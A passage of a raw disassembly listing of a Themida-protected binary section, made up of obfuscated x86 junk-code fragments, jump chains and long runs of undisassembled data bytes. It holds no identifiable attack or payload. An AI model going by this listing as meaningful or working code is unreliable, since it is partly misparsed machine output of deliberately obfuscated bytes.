0C890000h, 8033B524h, 45E94FF5h, 4F00003Fh dd 146DE781h, 5CE93974h, 29FFFFC4h, 0E99C2404h, 0FFFEFCAFh ; --------------------------------------------------------------------------- loc_5603E8: ; CODE XREF: Themida_:0055771Ej add esp, 4 add ebp, 8F715C98h push ebx mov ebx, ebp jmp loc_55DD76 ; --------------------------------------------------------------------------- db 5Fh, 81h, 0C3h dd 5DD22A60h, 0EB81D301h, 5DD22A60h, 8324148Bh, 92E904C4h dd 5E000040h, 814AD2F7h, 9F17F6F2h, 4EC816Ch, 89000000h dd 57BD242Ch, 8159F925h, 62134AEDh, 5DEA01E2h, 0FFCFADE9h dd 0BFE953FFh db 7Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56043F: ; CODE XREF: Themida_:0055B176j mov edi, ebx mov ebx, [esp] add esp, 4 xor edi, 69B212D4h push ebx mov ebx, 26E12BFDh inc ebx sub ebx, 706019F4h not ebx not ebx jmp loc_5638A7 ; --------------------------------------------------------------------------- loc_560466: ; CODE XREF: Themida_:0055D61Bj mov ecx, eax jmp loc_55B72D ; --------------------------------------------------------------------------- loc_56046D: ; CODE XREF: Themida_:00550998j sub ecx, 0A127CFC8h sub eax, ecx pop ecx mov ebp, eax pop eax sub esp, 4 mov [esp], eax mov eax, 6D5146B5h sub ebx, eax pop eax jmp loc_55658C ; --------------------------------------------------------------------------- dd 7C70B850h, 0BE3519F2h, 0E953CD71h, 0DC6h, 148BD131h dd 4C48324h, 21595E51h, 2434FFF0h, 32DF685Eh, 34890000h dd 53E68924h, 0A64FA8BBh, 46CDE97Eh, 0C4830000h, 59CD0104h dd 51685650h, 0FF38E51Dh, 0B5E92434h, 81000019h, 0FB082444h dd 0E92A9D68h, 0FFFF6F34h, 8324148Bh, 48F04C4h, 4DA8E924h dd 0BA520000h, 79CB1AB4h, 815AD109h, 5AE3D1C1h, 59C829CEh dd 81240C8Bh, 4C4h, 24043300h, 33240431h, 248B2404h, 4C48324h dd 0ADA7E957h, 64BAFFFFh, 0F740CE61h, 0D6BD55D2h, 21467A25h dd 0C2815DEAh, 71D62998h, 148BD729h, 4C48324h, 126CE781h dd 0EF81194Dh, 895C5E5h, 6773862Dh, 9782E945h, 7F68FFFFh dd 0E9000073h, 0FFFFB4EBh, 5BDE295Dh, 5C243487h, 240C8966h dd 0C8B60F66h, 0FF68A4E9h, 0FB1DE9FFh, 5058FFFEh, 2B8h dd 0AC34E900h, 0C481FFFFh, 4, 4C381h, 2DE90000h, 5A000024h dd 5351D828h, 27E9F9B3h, 58FFFF71h, 58E728h, 8C9E9F9h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5605AE: ; CODE XREF: Themida_:00559FE8j mov [esp], edx jmp loc_552BA5 ; --------------------------------------------------------------------------- dw 0F001h dd 481505Eh, 413AF724h, 0BF575D1Fh, 1F413AF7h, 0E95FFD29h dd 0FFFFC2E7h, 0FE20892Dh, 4BE7E92Ah, 34890000h, 2474FF24h dd 24348B04h, 0FF5CF9E9h, 1E949FFh db 62h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5605EF: ; CODE XREF: Themida_:00556A88j xchg ecx, [esp] pop esp jmp loc_552BC1 ; --------------------------------------------------------------------------- loc_5605F8: ; CODE XREF: Themida_:0055DFB2j pop esi mov ebx, [esp] add esp, 4 push ecx mov ecx, eax mov edx, ecx pop ecx pop eax loc_560609: ; CODE XREF: Themida_:00550802j ; Themida_:00560B3Fj push eax sub esp, 4 mov [esp], edx mov edx, 52FC589Ch jmp loc_558D75 ; --------------------------------------------------------------------------- db 51h, 0B5h, 0D3h dd 0C0FAC580h, 0A7E905E5h, 29FFFFBDh, 505F5EF5h, 8C39D7B8h dd 5FAD3526h, 0A7E97EE8h db 0C5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56063F: ; CODE XREF: Themida_:0055C676j pop esp push 5DB3h mov [esp], esi push edi mov edi, 0F1C5A16h mov esi, edi mov edi, [esp] add esp, 4 jmp loc_551718 ; --------------------------------------------------------------------------- byte_56065B db 0FFh ; DATA XREF: Themida_:00550030o dd 669D1C77h, 241CD359h, 0FA2DE99Ch, 0D001FFFEh, 8324148Bh dd 66E904C4h, 5EFFFF4Eh, 4BF57h, 6A050000h, 152B863h, 3676E9F8h dd 0C87FFFFh, 24248B24h, 66E9F766h, 0E974DD68h, 0FFFF650Dh ; --------------------------------------------------------------------------- loc_56069C: ; CODE XREF: Themida_:00558045j sub esi, 0BC4A3F05h add edx, 64E419D2h add edx, esi jmp loc_55398F ; --------------------------------------------------------------------------- db 5 dd 4, 1C55E9h, 14E95F00h db 0FDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5606BF: ; CODE XREF: Themida_:0055FA0Ej sub dword ptr [esp+4], 45A1005Bh add [esp+4], ebx jmp loc_5572B4 ; --------------------------------------------------------------------------- dd 3C63E981h, 0E9817662h, 10F15850h, 5659CB01h, 0FF95ABE9h dd 81DD01FFh, 3D4BB2C5h, 0DDF75B45h, 242BBE56h, 0F0E93B5Eh dd 68FFFF29h, 58A8752Ch, 3A99E95Dh, 0CD800000h, 0DBF5805Ch dd 0C8BEE88h, 8FE0E924h, 0EF01FFFFh, 2D03C781h, 95D5846h dd 0BB535FFDh, 0F29F7479h, 15BDD31h, 242C8BEAh, 4C481h dd 0D3890000h, 0F959E95Ah, 489FFFEh, 4B824h, 0C1010000h dd 240C8758h, 311AE95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_560752: ; CODE XREF: Themida_:0055DB35j pop dword ptr [esp] pop esp mov [esp], edi jmp loc_564A69 ; --------------------------------------------------------------------------- loc_56075E: ; CODE XREF: Themida_:00563BC5j add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebx sub esp, 4 push esp jmp loc_5650FC ; --------------------------------------------------------------------------- loc_56077D: ; CODE XREF: Themida_:0055E028j push 6F571390h pop ebx add esi, ebx jmp loc_55838F ; --------------------------------------------------------------------------- loc_56078A: ; CODE XREF: Themida_:0056125Dj add edx, 3C6C1EABh jmp loc_552ED8 ; --------------------------------------------------------------------------- db 50h, 88h, 0C8h dd 0CE9C8FEh db 36h, 2 dup(0FFh) byte_56079F db 66h ; DATA XREF: Themida_:0054FE48o dd 68240C8Bh, 2B73h, 68242C89h, 78B4h, 0FF56CFE9h db 0FFh ; --------------------------------------------------------------------------- loc_5607B5: ; CODE XREF: Themida_:0055FDC2j pop edi jmp loc_55F992 ; --------------------------------------------------------------------------- loc_5607BB: ; CODE XREF: Themida_:00564B5Bj push 2902h jmp loc_5641DB ; --------------------------------------------------------------------------- db 81h, 0C1h, 4 dd 81000000h, 4ECh, 24348900h, 573D1BBEh, 0C1D6F768h, 0EE8106E6h dd 330C718Bh, 0FFF9C7E9h db 0FFh ; --------------------------------------------------------------------------- loc_5607E9: ; CODE XREF: Themida_:00560278j mov [esp], edx jmp loc_56280E ; --------------------------------------------------------------------------- byte_5607F1 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:0054FF40o dd 0E0895024h, 81E78957h, 4C7h, 4EF8100h, 87000000h, 895C243Ch dd 4BA2414h, 5000000h, 6CCA038Ah, 0BD55D001h, 6CCA038Ah dd 8B5DE829h, 89522414h, 4C281E2h, 53000000h, 0D558B5BBh dd 77EB8111h, 0C12C4144h, 0EBC108E3h, 0FFEB8105h, 50744604h dd 450968h, 241C8900h, 0FF7907E9h, 0DCF68FFh, 835B7DC4h dd 4B6801EBh, 89000033h, 0C4E9243Ch, 0BAFFFFB7h, 64D06DECh dd 0FF3D1EE9h db 0FFh ; --------------------------------------------------------------------------- loc_560875: ; CODE XREF: Themida_:0055B371j inc ecx jmp loc_550D28 ; --------------------------------------------------------------------------- loc_56087B: ; CODE XREF: Themida_:00564CB8j sub edi, eax mov eax, [esp] add esp, 4 xchg edi, [esp] pop esp jmp loc_55A741 ; --------------------------------------------------------------------------- dd 92138F05h, 19E95A06h db 5Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560897: ; CODE XREF: Themida_:005584B0j push dword ptr [esp+4] push dword ptr [esp] pop ebx add esp, 4 pop dword ptr [esp] jmp loc_5550D1 ; --------------------------------------------------------------------------- loc_5608AA: ; CODE XREF: Themida_:00561769j sub esi, 147F7D87h jmp loc_552CAD ; --------------------------------------------------------------------------- db 1, 0CFh, 59h dd 3304EF83h, 3C31243Ch, 243C3324h, 2424895Ch, 0FFBD31E9h dd 24048BFFh, 6804C483h, 5712h, 24F3E9h db 0 ; --------------------------------------------------------------------------- loc_5608DD: ; CODE XREF: Themida_:005639A2j mov eax, 0 add eax, ecx mov [eax], ebx jmp loc_561DDF ; --------------------------------------------------------------------------- db 0F7h dd 4E0C1D0h, 2A2BBE56h, 0DEF71944h, 18B5E9h, 242C8B00h dd 4C481h, 0BE560000h, 5FA7178Bh, 8102EEC1h, 962CD5C6h dd 39F68103h, 4E5B9865h, 0FFFFEE81h, 5DE9FFFFh, 0E9FFFF97h dd 0FFFEF76Bh, 0E95BDF09h, 0FFFFD4BDh, 83FE0159h, 1C8904ECh dd 17ADBB24h, 0E9433650h, 1B79h ; --------------------------------------------------------------------------- loc_560948: ; CODE XREF: Themida_:00563D29j pop esi add ecx, 4 xchg ecx, [esp] jmp loc_55F42E ; --------------------------------------------------------------------------- dd 5404EC83h, 8324048Fh, 8B042404h, 0C483241Ch, 4C38104h dd 68000000h, 1CFh, 2097E9h, 52505B00h, 0FF926CE9h, 0DFB951FFh dd 0F7230E1Ch, 0FCE981D9h, 0E93DAE31h, 0FFFFFD40h, 3759C381h dd 0C3813022h, 53CF6403h, 3B8DC381h, 0EB812382h, 68A24B5Dh dd 0A52EF381h, 0D901179Dh, 0FF32D5E9h db 0FFh ; --------------------------------------------------------------------------- loc_5609B5: ; CODE XREF: Themida_:0055CEABj pop edi sub eax, 0E36F045Dh sub edi, eax mov eax, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp jmp loc_55AEAD ; --------------------------------------------------------------------------- dd 4E03EEC1h, 5C1BC681h, 0F1017367h, 0FF037BE9h db 0FFh ; --------------------------------------------------------------------------- loc_5609E9: ; CODE XREF: Themida_:005529B1j add edx, ebx pop ebx jmp loc_56273B ; --------------------------------------------------------------------------- db 0FFh, 74h, 24h dd 241C8B04h, 81E28952h, 4C2h, 4C28100h, 87000000h, 0CFE92414h dd 89FFFF97h, 68512404h, 4A89585Eh, 81240C8Bh, 4C4h, 0C1E18100h dd 8155FC28h, 0CABDCFE9h, 59C8893Fh, 932FAC25h, 3148E908h dd 48FFFFFh, 8B9FE924h, 2C8BFFFFh, 4C48124h, 66000000h dd 667B54BFh, 0C8BCF29h, 989CE924h, 3F04FFFFh, 0D8F63C0Ch dd 0C1308A2Ch, 0EBD2E958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560A6A: ; CODE XREF: Themida_:00554711j mov ebx, [esp] push edx jmp loc_562EB2 ; --------------------------------------------------------------------------- aV5pHR db '½‚5p^h³R',0 dd 240C8900h, 0A527B5B9h, 0ED74E966h, 2C87FFFFh, 24248B24h dd 0E9241433h, 44A7h, 592434FFh, 0CE56E950h, 0EC81FFFFh dd 4, 52240489h, 0B01680BAh, 5AD0895Ch, 0FF02C5E9h, 5FF987FFh dd 0E903E1C1h, 0FFFEF816h, 5C24048Fh, 0FFFEB0E9h, 4EB83FFh dd 5C241C87h, 89243489h, 11BF57E6h, 0C15ADF01h, 0D7F708EFh dd 0FFB735E9h, 0E9F101FFh, 0FFFF10D4h ; --------------------------------------------------------------------------- loc_560AF0: ; CODE XREF: Themida_:00550DECj pop esp add ecx, 4 add ecx, 4 xor ecx, [esp] jmp loc_550C20 ; --------------------------------------------------------------------------- loc_560B02: ; CODE XREF: Themida_:0055A8D9j mov edi, 52A53CE0h xchg ebx, edi dec ebx xchg ebx, edi sub edi, 0FFFFFFFFh push ecx mov ecx, 57A6103Eh add edi, ecx pop ecx inc edi dec edi add edi, 55B4B2E1h add ebx, 1DBA7B52h sub ebx, edi sub ebx, 1DBA7B52h pop edi xor ebx, 98A2ECB3h and eax, ebx mov ebx, [esp] add esp, 4 or eax, eax jz loc_560609 push dword ptr [edi+28h] push dword ptr [esp] jmp loc_55338D ; --------------------------------------------------------------------------- dd 0C681E689h, 4, 8704C683h, 0C3E92434h, 0BBFFFFD3h, 12A56CF1h dd 0E381DBF7h, 5EF66595h, 63F7CB81h, 0D3F76C1Fh, 4FE5CB81h dd 0C38158FFh, 28743FE1h, 3196E9h, 0FFD78900h, 1BE92434h db 76h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560B93: ; CODE XREF: Themida_:005618B1j pop ebx push edx mov edx, 53740F8h shl edx, 6 add edx, 2499390Dh add edi, edx pop edx or edi, 61F077F1h dec edi jmp loc_5593DB ; --------------------------------------------------------------------------- loc_560BB2: ; CODE XREF: Themida_:00558467j sub edi, 0C927A623h add ebp, edi mov edi, [esp] add esp, 4 add ebp, 4 xchg ebp, [esp] pop esp xor edx, [esp] xor [esp], edx jmp loc_55C673 ; --------------------------------------------------------------------------- dd 4EC835Fh, 0E9243C89h, 0FFFF6B04h, 0E981D9F7h, 0CA12B46Ah dd 8159CA01h, 122EA0E2h, 0F2814277h, 2C826B0Dh, 0FFF7B2E9h dd 241C89FFh, 0B65279B3h, 7CEE80B5h, 525AF330h, 0F33030B6h dd 83DB2C5Ah, 0C8904ECh, 0C34EE924h, 89BDFFFFh, 0E95A840Fh dd 0FFFEFF6Ch, 0C015EA81h, 0FAE98209h db 0B4h, 2 dup(0FFh) byte_560C37 db 68h ; DATA XREF: Themida_:0054FEC8o dd 6DEDh, 0FF72F5E9h, 240C89FFh, 5E08950h, 4, 5004E883h dd 42474FFh, 24048F58h, 0FF236EE9h db 0FFh ; --------------------------------------------------------------------------- loc_560C5D: ; CODE XREF: Themida_:00550C1Bj mov esp, [esp] push 2412h mov [esp], ebp push esp pop ebp add ebp, 4 jmp loc_552609 ; --------------------------------------------------------------------------- loc_560C75: ; CODE XREF: Themida_:0055C74Fj mov bl, 8Ch add al, bl pop ebx sub esp, 4 mov [esp], edx push ebx mov bl, 38h mov dl, bl pop ebx sub dl, 1 not dl or dl, 48h sub dl, 56h push ecx mov ch, 0CDh jmp loc_55B770 ; --------------------------------------------------------------------------- dd 6827E950h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560CA2: ; CODE XREF: Themida_:0055AA7Cj push esp pop ecx add ecx, 4 push eax mov eax, 1C3F538Fh neg eax jmp loc_55EE2A ; --------------------------------------------------------------------------- db 5Ch dd 0E9241489h, 0FFFFBFB9h, 31243433h, 34332434h, 24248B24h dd 24048B66h, 0FFA9A4E9h, 24148BFFh, 4C481h, 89560000h dd 4C681E6h, 83000000h, 348704C6h, 0EC835C24h, 242C8904h dd 368F68h, 48F5400h, 4EC8324h, 0B8240489h, 4, 4244401h dd 582434FFh, 0FF9844E9h, 24048FFFh, 0BB0F665Ch, 0E99C2404h dd 0FFFEF373h ; --------------------------------------------------------------------------- loc_560D24: ; CODE XREF: Themida_:0056469Bj xchg esi, [esp] jmp loc_5586D4 ; --------------------------------------------------------------------------- aIS_0 db '‰,$éÕ!',0 align 4 push ebp mov ebp, esp add ebp, 4 jmp loc_554A7E ; --------------------------------------------------------------------------- loc_560D42: ; CODE XREF: Themida_:0055CD60j mov eax, [esp] sub esp, 4 mov [esp], ebx mov ebx, esp push edx push 4 jmp loc_55A8C9 ; --------------------------------------------------------------------------- db 68h dd 6913h, 87240C89h, 0D1F7240Ch, 0F101E951h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560D6E: ; CODE XREF: Themida_:005583A8j mov ecx, edi mov edi, [esp] jmp loc_55A61C ; --------------------------------------------------------------------------- loc_560D78: ; CODE XREF: Themida_:0055F36Bj pop ebp mov ebx, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp push edx not dword ptr [esp] pop edx jmp loc_553EED ; --------------------------------------------------------------------------- db 2Dh, 0F4h, 0BBh dd 0C2890D72h, 58C22958h, 24348152h, 7D2F36A8h, 0A8F7815Fh dd 8B7D2F36h db 14h, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_551A93 ; --------------------------------------------------------------------------- dw 0EE81h dd 4, 5C243487h, 0E9240C89h, 0FFFEFD5Fh ; --------------------------------------------------------------------------- loc_560DD0: ; CODE XREF: Themida_:005512B2j sub esi, 0D60DD256h add eax, esi pop esi sub ebx, eax jmp loc_5655A1 ; --------------------------------------------------------------------------- loc_560DE0: ; CODE XREF: Themida_:0055D84Cj mov eax, [esp] push ecx mov ecx, esp jmp loc_550201 ; --------------------------------------------------------------------------- db 57h dd 0C781E789h, 4, 8702C783h, 565C243Ch, 0C2BF6657h, 1DB1E97Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560E06: ; CODE XREF: Themida_:0055E21Aj sub ebx, 666634C2h add ebx, eax jmp loc_55E86D ; --------------------------------------------------------------------------- db 55h dd 92138FBDh, 8BE82906h, 8952242Ch, 4C281E2h, 51000000h dd 0FFD3ABE9h, 243433FFh, 775E9h, 24050C00h, 0FB686662h dd 1C89664Ch, 2C57B324h, 28E12C4Ch, 1AC2E9D8h, 44E9FFFFh db 0F2h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_560E53: ; CODE XREF: Themida_:005631AEj shr edi, 7 add edi, 11F10B4Bh sub edi, 6FE7630Fh add edi, 1A2E239Bh sub edi, 2F6A224Ah sub edi, 8D03AE39h add ebx, edi mov edi, [esp] add esp, 4 push edi push eax mov eax, 4 push eax sub esp, 4 mov [esp], ebp mov ebp, 0C56FF8h sub [esp+4], ebp jmp loc_55DD25 ; --------------------------------------------------------------------------- db 87h dd 15C241Ch, 21E981F9h, 5F734360h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 jmp loc_552E96 ; --------------------------------------------------------------------------- aWNs db 'W¿s=',0 db 0C1h dd 0C78107E7h, 47B571EDh, 78ACF781h, 0C781487Eh, 727728ACh dd 2501F781h, 0FB01D91Dh, 83243C8Bh, 0F0E904C4h db 85h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560EE7: ; CODE XREF: Themida_:0055AFCCj mov [esp], ebx push edx push ebp jmp loc_55172A ; --------------------------------------------------------------------------- db 5Ch, 89h, 34h dd 4BE24h, 0D1E90000h, 52FFFF92h, 0B2526651h, 0E9D58860h dd 0FFFF03ABh, 0C50263BEh, 8EEC105h, 93A3E950h, 7400FFFFh dd 0F5E90224h, 0B8FFFF2Bh, 6FF901B4h, 704D905h, 9AE95234h dd 8300000Dh, 58042404h, 405h, 4C08300h, 5C240487h, 5C241C87h dd 24042966h, 64D8E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560F52: ; CODE XREF: Themida_:0055B278j push ecx mov ecx, 0ADA3C3F1h sub ebx, ecx pop ecx sub edx, ebx pop ebx pop ebp push 3AE3h mov [esp], edx jmp loc_552C6B ; --------------------------------------------------------------------------- loc_560F6C: ; CODE XREF: Themida_:00561DDAj mov edi, 329860CEh mov ecx, 408A10F9h xor ecx, edi jmp loc_55E02D ; --------------------------------------------------------------------------- loc_560F7D: ; CODE XREF: Themida_:0055F92Fj pop ebx push ebp mov ebp, 4 add ebx, ebp pop ebp add ebx, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], ecx push esp mov ecx, [esp] add esp, 4 push edx mov edx, 4 add ecx, 5FBA2F53h add ecx, edx sub ecx, 5FBA2F53h pop edx jmp loc_55A6E2 ; --------------------------------------------------------------------------- db 83h, 0EDh, 0FFh dd 0FF2CA4E9h, 4C281FFh, 81000000h, 2C2h, 0E47EE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560FE6: ; CODE XREF: Themida_:00562E99j add edi, 73E6B7FFh xor eax, edi jmp loc_56562D ; --------------------------------------------------------------------------- db 0F6h aAcls db '߀ç‹éš',0Ah,0 db 0 ; --------------------------------------------------------------------------- loc_560FFD: ; CODE XREF: Themida_:00562570j push 1897h mov [esp], esi jmp loc_55B012 ; --------------------------------------------------------------------------- loc_56100A: ; CODE XREF: Themida_:00554E21j sub esp, 4 mov [esp], eax xchg ebx, [esp] push 3791h mov [esp], ebx jmp loc_55AD61 ; --------------------------------------------------------------------------- byte_561023 db 8Bh ; DATA XREF: Themida_:0054FF8Co dd 0EC832414h, 24148904h, 24148B54h, 64E9h, 0EFC15E00h dd 1C78104h, 81000000h, 798F4AC7h, 53BF57F8h, 47009E0Dh dd 18A6C781h, 0C7813CDFh, 35C63A27h, 3266E9h, 242C8700h dd 0FFEC8DE9h, 3E2668FFh, 14890000h, 0E7895724h, 4B951h dd 3AE90000h db 0F8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56107B: ; CODE XREF: Themida_:00564934j sub esp, 4 mov [esp], ebp jmp loc_55DBD7 ; --------------------------------------------------------------------------- db 81h, 0C1h, 6Ah dd 29DB39A3h, 515859CBh, 0FFE450E9h, 4C483FFh, 4C281h dd 0A9680000h, 89000070h, 0EC83241Ch, 24348904h, 1808A768h dd 5DBB5E28h, 1D7E7F7h, 0C2815EF3h, 69601732h, 56E9DA01h dd 52FFFEFAh, 9BE9D4B2h db 29h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5610D3: ; CODE XREF: Themida_:0055CE8Cj add ebp, eax mov eax, [esp] add esp, 4 sub ebp, 4 xchg ebp, [esp] pop esp jmp loc_556BEC ; --------------------------------------------------------------------------- dw 0E831h dd 0FFD2DBE9h db 0FFh ; --------------------------------------------------------------------------- loc_5610F1: ; CODE XREF: Themida_:005564D6j push eax mov ah, 75h and ah, 64h jmp loc_5519CE ; --------------------------------------------------------------------------- dd 81243C8Bh, 4C4h, 2D50E900h, 575A0000h, 0BC5666BFh, 0CAC7813Ah dd 815BCA1Bh, 694A77CFh, 0A4EF812Dh, 0E9A4634Fh, 0FFFF528Ch dd 43D0C281h, 82E908F5h, 2D000033h, 6F1B5C1Fh, 23306856h dd 0D7E91120h, 56FFFF60h, 5E2B68h, 243C8900h, 0D0793EBFh dd 5FFE8959h, 0BA524Eh, 29000000h, 4D3BE9F2h, 0C528FFFFh dd 0E4C58058h, 0C59E888h, 0E96B04E9h, 0FFFF2731h, 3AD4E959h dd 0C820FFFFh, 2ACD6859h, 1C890000h, 73E95724h, 50FFFF98h dd 0C67548B8h, 3A80D4Ah, 0E8D10E48h, 2930CD0Dh, 2E0C11Dh dd 0BCEFF02Dh, 58C629FDh, 8B243487h, 0C892424h, 0E5685324h dd 5B336816h, 0F706EBC1h, 0BE5643D3h, 0FF325FA3h, 4AE9F329h db 72h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5611CB: ; CODE XREF: Themida_:0055063Fj mov [esp], ecx mov ecx, 6D7F53BAh push 0 jmp loc_553FCB ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 50000000h, 6855E089h, 11F2h, 56243C89h, 0D1C3FBEh, 6998E904h dd 0E957FFFFh, 0FFFF1DD3h, 5758C521h, 2E5FE9h, 0CEBD5500h dd 55117A3Eh, 0E1815D59h, 539544CAh, 30BFC981h, 6CE933E7h dd 31FFFFDDh, 0E9015EF5h, 240C875Dh, 0FF773CE9h, 0C8B66FFh dd 0DEDE924h, 0D3090000h, 0E924148Bh, 0FFFF7D4Bh, 0E6E9B9B3h db 3Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56124B: ; CODE XREF: Themida_:0055EE32j not edi sub edi, 0B9EF8F3Ch jmp loc_561EC0 ; --------------------------------------------------------------------------- loc_561258: ; CODE XREF: Themida_:00563269j sub edx, edi pop edi add edx, esi jmp loc_56078A ; --------------------------------------------------------------------------- dw 0CA2Dh dd 14A3F0Dh, 0EC8358C2h, 240C8904h, 0FFBBDDE9h, 5EDC1FFh dd 724F581h, 0F5817AB2h, 37097D0Ch, 78DFC581h, 0EF09D6F4h dd 0DCE9565Dh db 0A3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561293: ; CODE XREF: Themida_:00554824j push esp pop ecx add ecx, 4 sub ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] mov [esp], esi push 7639h jmp loc_555E20 ; --------------------------------------------------------------------------- db 5 dd 4, 405h, 24048700h, 220BE9h, 242C8100h, 12BC00AAh, 81240429h dd 0AA2404h, 895012BCh, 405E0h, 42D0000h, 50000000h, 42474FFh dd 24048F58h, 0FFC2F8E9h, 5E089FFh, 4, 42Dh, 24048700h dd 11C5E95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56130A: ; CODE XREF: Themida_:0055F8C7j pop edi add edi, 7FED408Ah sub esp, 4 jmp loc_5561C9 ; --------------------------------------------------------------------------- dd 0BF243C89h, 4, 875FFE01h, 79E92434h db 72h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56132F: ; CODE XREF: Themida_:00550362j pop ebp push 1382h mov [esp], esi push 0E7421Bh pop esi sub esi, 246153EAh push edx mov edx, 113C418Ch jmp loc_55E01C ; --------------------------------------------------------------------------- db 89h dd 0B753240Ch, 0C1BDE928h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56135A: ; CODE XREF: Themida_:005636E5j pop eax jmp loc_55CAB5 ; --------------------------------------------------------------------------- dd 0C68EED81h, 0C78190CBh, 44800F57h, 294DEF81h, 0EF014974h dd 294DC781h, 0EF814974h, 44800F57h, 52242C8Bh, 0C2815A54h dd 4, 8704C283h, 15C2414h, 10685FFDh, 0E9000026h, 0FFFF0841h dword_5613A0 dd 0E9D831ADh, 0FFFFBB8Ch, 929CBA52h, 0D1310BCBh, 8124148Bh ; DATA XREF: Themida_:0054FE34o dd 4C4h, 59CF2900h, 0FFF355E9h, 9DBB53FFh, 8163F119h, 0E3308EE3h dd 0E59DE976h, 0EF81FFFFh, 2C826E07h, 0FEF193E9h, 61505FFh dd 0E7E93D33h, 5EFFFF27h, 0FFCA2DE9h, 242489FFh, 4240483h dd 4C3815Bh, 50000000h, 4B8h, 58C32900h, 5C241C87h, 0B8240489h dd 2BFB0E25h, 48B5F50h, 4E685524h, 8900007Dh, 4812424h dd 424h, 242C8B00h, 4C481h, 0E9530000h, 0FFFF3EF5h, 6858C289h dd 3094h, 52240489h, 6E1649BAh, 5AD0890Eh, 265EBE56h, 0D6F74B1Fh dd 0AB52EE81h, 0B9E953A6h, 81FFFF57h, 910375F6h, 71306868h dd 14890000h, 3796BA24h, 0C28172BBh, 47614DF3h, 240DBF57h dd 0D7F7649Dh, 10DBD55h, 0EF011359h, 7EF815Dh, 311B6D46h dd 0D6315FFAh, 5324148Bh, 0C381E389h, 4, 0ECDE9h db 0 ; --------------------------------------------------------------------------- loc_5614A1: ; CODE XREF: Themida_:0055C52Dj xor [esp], edi xor edi, [esp] mov esp, [esp] push 1268h jmp loc_551379 ; --------------------------------------------------------------------------- dd 8704EB83h, 248B241Ch, 24148924h, 0A22C9C68h, 24E95A31h db 22h, 2 dup(0) byte_5614CB db 66h ; DATA XREF: Themida_:0054FDF0o dd 5724048Bh, 97E9E789h, 5EFFFF05h, 4EC81h, 4890000h, 4BA5224h dd 89000000h, 0C3815AD0h, 7CBE49D2h, 1608C381h, 0C30128FDh dd 3918B850h, 0FF0562CCh, 35FFFFFFh, 0ACC4CB0h, 0AE0DD8F7h dd 2D17AA3Eh, 44D90BC1h, 0D662CA05h, 58C329D5h, 2497E9h db 0 ; --------------------------------------------------------------------------- loc_561521: ; CODE XREF: Themida_:005540DCj sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], esi push edx pop esi jmp loc_5566E3 ; --------------------------------------------------------------------------- dw 34FFh dd 0C4835824h, 0FFC60104h, 0D4E92434h, 5EFFFF73h, 2474315Ah dd 0E95B5E04h, 3E0Ch ; --------------------------------------------------------------------------- loc_561550: ; CODE XREF: Themida_:00553151j push edx mov edx, 1BA87E30h push esi push edi mov edi, 6D6A3766h jmp loc_556200 ; --------------------------------------------------------------------------- dw 0D001h dd 5E3E4A2Dh, 24148B37h, 2939E9h, 2BF5700h, 1000000h, 32B0E9FEh dd 0F7810000h, 374921E9h, 0DAA4F781h, 0F801E8EEh, 0AA3AE95Fh dd 815AFFFFh, 1EEh, 3EF68100h, 816CB41Eh, 3472BCC5h, 3972E937h dd 248BFFFFh, 68555324h, 48DF3AE2h, 0CD814D5Dh, 7ECE32A5h dd 0E904E5C1h, 0FFFEEF06h ; --------------------------------------------------------------------------- loc_5615C4: ; CODE XREF: Themida_:0055E81Dj mov [esp], ebx push 67FDh jmp loc_56201A ; --------------------------------------------------------------------------- db 57h, 0BFh, 6Fh dd 811C4D70h, 362F46EDh, 81FD2971h, 362F46C5h, 0A22E971h dd 0C2810000h, 4, 77F2BB53h, 0EC813AC3h, 4, 0BA241489h dd 1, 0FF3CB0E9h, 2EECB8FFh, 0C5891C22h, 81E5E958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561616: ; CODE XREF: Themida_:00556120j sub esp, 4 mov [esp], edx pop ebp jmp loc_55297E ; --------------------------------------------------------------------------- loc_561625: ; CODE XREF: Themida_:00554F81j pop ebp push ebx mov ebx, 0 sub ebx, edi mov edi, ebx pop ebx jmp loc_5631D2 ; --------------------------------------------------------------------------- dw 0D2F6h dd 80BEEA80h, 885168F2h, 0E9D5F6D5h, 0FFFF26DDh ; --------------------------------------------------------------------------- loc_561648: ; CODE XREF: Themida_:00552BA7j add edx, 4 push 7D39h jmp loc_55C327 ; --------------------------------------------------------------------------- dd 5FB5F181h, 17E9AED2h, 